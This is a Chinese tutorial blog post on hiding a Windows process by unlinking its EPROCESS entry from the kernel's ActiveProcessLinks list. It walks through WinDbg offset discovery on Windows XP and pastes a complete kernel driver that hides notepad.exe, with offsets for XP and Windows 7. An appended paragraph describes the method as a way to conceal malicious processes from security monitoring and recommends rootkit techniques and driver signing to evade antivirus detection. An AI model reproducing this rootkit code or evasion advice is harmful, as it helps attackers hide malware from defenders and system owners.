断链隐藏进程

断链隐藏进程

博主菜鸟一个,文中不当的地方欢迎师傅们指正。

一.前言:

​ 有日子没写博客了,主要前几周太太太忙了,这周仔细研究了一下进程的隐藏,首先去了解了一下隐藏进程的各种方法,其实有很多方法很多也很杂,然后有些隐藏只是能躲过任务管理器还有ntdll里面ZwQuerySystemInformation函数(枚举进程的函数),然后通过一些暴力的枚举方法还是会露馅,就总结一些常见的吧:

​ 1.比较简单的即是内核中映射的进程列表进行断链操作,此处是一个双链表(后文会详细赘述)

​ 2.其次就是修改内核映射中的EPROCESS中对应的pid,也能实现隐藏

​ 3.然后就是对于DriveObject信息的抹除(没看懂,系统学内核了再复现)

而本文也是就第一种方法展开复现,来进行进程的隐藏。

二.踩坑:

​ 首先,我们知道,进程体EPROCESS是被系统维护在一个双向链表LIST_ENTRY中的,那么,我们只要把进程的EPROCESS从这个链表中摘除,就可以实现进程隐藏了,当然,这只能瞒过进程管理器和ntdll中的zwQuerySystemInformation,暴力枚举依旧可以发现断链隐藏的进程,因为进程体还在内存中。

​ 然后开始进行断链操作,借助windbg实现操作,网上很多关于windbg使用的教学都是老版本的,然后微软好像22年就开始禁用了离线符号包的下载使用了,我在本机上下载了老版本的windbg,在配置符号文件的时候一直卡着过不去。

​ 一开始使用的时候,先附加了需要隐藏的一个进程,输入命令dt _eprocess,一开始看到了eprocess 的结构,没意识到犯了很严重的错误(后续文章中会讲述)。

在这里插入图片描述

​ 直到后面查看内核映射中的进程列表信息的时候才意识到有点蠢,继续输入命令! process 0 0,开始出现最头疼的报错了

在这里插入图片描述

​ 然后一直搜一直搜,搜到了问题是得修复一下ntdll的符号文件,然后这个符号文件一般是可以进行离线下载的,但是按照网上说的设置符号下载位置的方法srv*yourpath*http://msdl.microsoft.com/download/symbols,设置完成之后我们重启计算机,用windbg 附加一个进程来下载符号,然后还是不太好使!

在这里插入图片描述

​ 然后我就搜到了这个。。。

在这里插入图片描述

​ 不甘心没有,然后进了上述命令中的http://msdl.microsoft.com/download/symbols地址一探究竟,然后我就放弃了。。。

在这里插入图片描述

​ 遇到困难了,问学长要了一份XP系统的克隆文件(学长配置好的就是香),同时也得到了一份老版windbg的32位和64位安装包,以及最最重要的符号文件!!!

三.正文开始

1.严重错误剖析

​ 开始在XP上进行实验,正常的安装windbg和下载符号文件(打包成exe太爽了)之后,开始进行调试。

在这里插入图片描述

​ ?!woc,换了个方式又报了个错,然后搜了一下,感觉有被自己蠢到,发现了上文中所说的严重错误,体会到了再没熟悉windbg使用就瞎敲命令的下场:

​ windbg命令分为标准命令(40个左右),元命令(一百多个)和扩展命令。

​ 标准命令提供最基本的调试功能,不区分大小写。如:bp g dt dv k等
​ 元命令提供标准命令没有提供的功能,也内建在调试引擎中,以.开头。如.sympath .reload等
​ 扩展命令用于扩展某一方面的调试功能,实现在动态加载的扩展模块中,以!开头。如!analyze等

​ 每个调试命令都各有使用范围,有些命令只能用于内核调试,有些命令只能用于用户调试,有些命令只能用于活动调试。但用户也不必记得这许多,一旦在某个环境下,使用了不被支持的命令,都会显示“No export XXX found”的字样。就拿!process命令来说吧,它显示进程信息,但只能用于内核调试中,如果在用户调试中使用,就是下面的情景:

0:001> ! process 0 0
No export process found

​ 所以,在使用windbg进行调试的时候,一定要搞清楚你是在那种模式下进行调试,还是那句老话,在使用之前,你要清楚你自己在干什么。关闭windbg之后,重新启动并切换windbg模式至内核debug

在这里插入图片描述

​ 选至本地:

在这里插入图片描述

然后你就会惊奇的发现左下角的开头变了:(lkd也算是内核调试的标志了)

在这里插入图片描述

输入命令! process 0 0,即可看到进程列表

在这里插入图片描述

2.真正的正文开始

首先我们遇到两个问题:

1.既然要遍历链表,我们就要知道每个结构的前后结构;

2.既然要对比进程名,我们就要知道进程名放在哪个地方;

先查看一手该版本系统下的eporcess结构体中各项数值的偏移量(基于windows的版本不同各有偏差,并不唯一)

​ 输入命令dt _eprocess,主要查看下图中标记的两处位置的偏移量

在这里插入图片描述

(1). ActiveProcessLinks

​ EPROCESS块中有一个ActiveProcessLinks成员,它是一个PLIST_ENTRY结构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。(可以看成双链表中的一个节点地址,而此节点中分别存储的是该进程在链表中的上下进程的指针地址)

​ 紧接着输入命令dt _LIST_ENTRY,查看LIST_ENTRY的结构

在这里插入图片描述

​ 可以看到变量FLink和BLink,FLink指向当前节点的后一个节点的ActiveProcessLinks地址,BLink指向当前结点的前一个节点的ActiveProcessLinks地址,这块儿的两个地址一定别记反,后面即是通过他们来找到锁定进程的上下进程的。

(2).ImageFileName

​ 在上上图中,我们可以看到在偏移0x174处,出现了ImageFileName,这里存的就是我们要找的进程名

​ 接着再输入一遍命令! process 0 0,随便选择一个进程,这里选择 vmtoolsd.exe,注意记住它的上下邻接进程

在这里插入图片描述

​ 然后查看该进程的eprocess,输入命令dt _eprocess 85f5ab28,可看出 ActiveProcessLinks 处由两个数值相减,相比他们就是上文中提到的变量FLink和BLink吧,然后反复思考,一个进程的ActiveProcessLinks由两个变量组成,双指针,那尾减去头一定就是本身的地址了。故下图中0x85f42e28应该是BLink,而0x85f34ca0也就是FLink,分别指向当前结点的前后两个节点的ActiveProcessLinks地址。

在这里插入图片描述

​ OK,那么事情已经明了了,进程被映射到内核之中后被列举成了这一串双链表,而我们只需要摘除掉其中的那个目标就行,也就是说需要通过检索到的目标进程之后,通过它的eprocess中的ActiveProcessLinks进而实现断链操作,所以我们现在要做的就是通过ActiveProcessLinks中存储的两个值,访问到应该在进程链表中排与目标进程前后的两个进程的eprocess。

​ 1.按着上图中的例子走,先试着访问一手目标进程后面的进程是啥,输入命令dd 0x85f34ca0,查看地址0x85f34ca0中的内容

在这里插入图片描述

​ 已知0x85f34ca0中存储的是指向目标进程的下一个进程的ActiveProcessLinks信息,再由上文中总结出来的“后减前原则”,故可知

85f3b688中存储的是后一个进程再后一个进程的ActiveProcessLinks,而85f5abb0中存储的是前一个进程(此时也就是我们的目标进程的ActiveProcessLinks),不信可以输入命令dd 0x85f5abb0进行如下验证:(对照上上图中目标进程的ActiveProcessLinks的值即可)

在这里插入图片描述

​ 注意,因为FLink指向当前节点的后一个节点的ActiveProcessLinks地址,所以后一个节点的EPROCESS地址为ActiveProcessLinks地址中的(0x85f34ca0)减去偏移0x88,成功。

在这里插入图片描述

​ 2.同理,这块采用比较笨的方法进行运算,因为我对地址偏移的操作还不太那么熟悉,那么我只要拿到了目标进程中指向前一个进程ActiveProcessLinks的地址,然后输入命令dd 0x85f42e28,再拿出前一个进程中指向再前一个进程的ActiveProcessLinks的地址中的指向后一个进程的FLink,在用这个Flink地址-0x88,故可得到结果:

在这里插入图片描述

在这里插入图片描述

综上所述,我们已经由已知的目标进程求出了起前后两个进程的eprocess,接下来直接进行断链操作即可,然后实现对于进程的隐藏,贴出大佬的脚本如下:(我还没写过驱动程序,所以脚本的复现还没进行)

ps:本文参考链接:https://www.cnblogs.com/Gotogoo/p/5251958.html
需要符号文件以及老版windbg放链接私信我就行

#ifndef CXX_HIDEPROCESS_H
#    include "HideProcess.h"
#endif


ULONG_PTR ActiveOffsetPre =  0;
ULONG_PTR ActiveOffsetNext = 0;
ULONG_PTR ImageName = 0;
WIN_VERSION WinVersion = WINDOWS_UNKNOW;

PLIST_ENTRY Temp = NULL;
PLIST_ENTRY HeadEntry = NULL;
NTSTATUS
    DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)
{


    DbgPrint("DriverEntry\r\n");

    DriverObject->DriverUnload = UnloadDriver;


    WinVersion = GetWindowsVersion();


    switch(WinVersion)
    {
    case WINDOWS_XP:   //32Bits
        {

            ActiveOffsetPre =  0x8c;
            ActiveOffsetNext = 0x88;
            ImageName = 0x174;
            break;
        }

    case WINDOWS_7:   //64Bits
        {
            ActiveOffsetPre =  0x190;
            ActiveOffsetNext = 0x188;
            ImageName = 0x2e0;
            break;
        }
    }


    HideProcess("notepad.exe");

    HeadEntry = (PLIST_ENTRY)((ULONG_PTR)PsGetCurrentProcess()+ActiveOffsetNext);// 在DriverEntry中执行得到的才是System进程

    return STATUS_SUCCESS;

}

VOID HideProcess(char* ProcessName)
{
    PEPROCESS EProcessCurrent = NULL;
    PEPROCESS EProcessPre = NULL;


    EProcessCurrent = PsGetCurrentProcess();    //System  EProcess



    EProcessPre = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetPre)))-ActiveOffsetNext);

    //DbgPrint("EProcessCurrent: 0x%p\r\n",EProcessCurrent);

    //DbgPrint("EProcessNext: 0x%p\r\n",EProcessNext);



    while (EProcessCurrent!=EProcessPre)
    {
        //    DbgPrint("%s\r\n",(char*)((ULONG_PTR)EProcessCurrent+ImageName));


        if(strcmp((char*)((ULONG_PTR)EProcessCurrent+ImageName),ProcessName)==0)
        {


            Temp = (PLIST_ENTRY)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext);

            if (MmIsAddressValid(Temp))
            {
                //    Temp->Blink->Flink = Temp->Flink;
                //    Temp->Flink->Blink = Temp->Blink;   //数据结构  不稳定


                RemoveEntryList(Temp);


            }


            break;
        }

        EProcessCurrent = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext)))-ActiveOffsetNext);


    }
}

VOID UnloadDriver(PDRIVER_OBJECT  DriverObject)
{
    ResumeProcess();
    DbgPrint("UnloadDriver\r\n");
}

VOID ResumeProcess()
{

    if(Temp!=NULL)
    {
        InsertHeadList(HeadEntry,Temp);
    }


}






WIN_VERSION GetWindowsVersion()
{
    RTL_OSVERSIONINFOEXW osverInfo = {sizeof(osverInfo)};
    pfnRtlGetVersion RtlGetVersion = NULL;
    WIN_VERSION WinVersion;
    WCHAR wzRtlGetVersion[] = L"RtlGetVersion";

    RtlGetVersion = GetFunctionAddressByName(wzRtlGetVersion);    //Ntoskrnl.exe  导出表
    if (RtlGetVersion)
    {
        RtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo);
    }
    else
    {
        PsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL);   //Documet
    }

    DbgPrint("Build Number: %d\r\n", osverInfo.dwBuildNumber);

    if (osverInfo.dwMajorVersion == 5 && osverInfo.dwMinorVersion == 1)
    {
        DbgPrint("WINDOWS_XP\r\n");
        WinVersion = WINDOWS_XP;
    }
    else if (osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1)
    {
        DbgPrint("WINDOWS 7\r\n");
        WinVersion = WINDOWS_7;
    }
    else if (osverInfo.dwMajorVersion == 6 &&
        osverInfo.dwMinorVersion == 2 &&
        osverInfo.dwBuildNumber == 9200)
    {
        DbgPrint("WINDOWS 8\r\n");
        WinVersion = WINDOWS_8;
    }
    else if (osverInfo.dwMajorVersion == 6 &&
        osverInfo.dwMinorVersion == 3 &&
        osverInfo.dwBuildNumber == 9600)
    {
        DbgPrint("WINDOWS 8.1\r\n");
        WinVersion = WINDOWS_8_1;
    }
    else
    {
        DbgPrint("WINDOWS_UNKNOW\r\n");
        WinVersion = WINDOWS_UNKNOW;
    }

    return WinVersion;
}


PVOID
    GetFunctionAddressByName(WCHAR *wzFunction)
{
    UNICODE_STRING uniFunction;
    PVOID AddrBase = NULL;

    if (wzFunction && wcslen(wzFunction) > 0)
    {
        RtlInitUnicodeString(&uniFunction, wzFunction);      //常量指针
        AddrBase = MmGetSystemRoutineAddress(&uniFunction);  //在System 进程  第一个模块  Ntosknrl.exe  ExportTable
    }

    return AddrBase;
}
内核下断链隐藏进程是一种技术手段,用于在Windows系统中隐藏恶意或非法的进程,以逃避系统安全监控和检测。其关键思想是通过修改内核数据结构,使得隐藏进程在系统进程链表中移除,从而实现对其的隐匿控制。 为了实现对不同版本的Windows系统的兼容性,并且不使用硬编码的方式,我们可以采取以下步骤: 首先,通过逆向工程和系统调试技术,分析目标系统中的进程链表数据结构。这需要了解不同版本Windows系统的内核数据结构和操作方式的差异。 其次,根据分析得到的数据结构,编写针对不同版本Windows系统的代码。可以使用C或者汇编语言,在内核模式下编写驱动程序,通过调用对应版本的API函数和操作系统核心服务来实现断链隐藏进程的操作。 在实现过程中,需要注意使用适当的方法来隐藏修改后的数据结构,以避免让系统安全检测软件或杀毒软件察觉到异常。例如,可以使用rootkit技术来掩盖修改的痕迹。 最后,在驱动程序编写完成后,需要通过数字签名等方式来保证其在目标系统中的合法性,以确保其能够被加载和执行。 总之,内核下断链隐藏进程是一项高级的技术手段,涉及到对Windows系统内核的深入了解和驱动程序的编写。为了在多版本的Windows系统上实现兼容,并且避免使用硬编码,要通过逆向工程和系统调试等方式来获取不同版本系统的数据结构,并编写相应的驱动程序来实现隐藏进程的操作。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值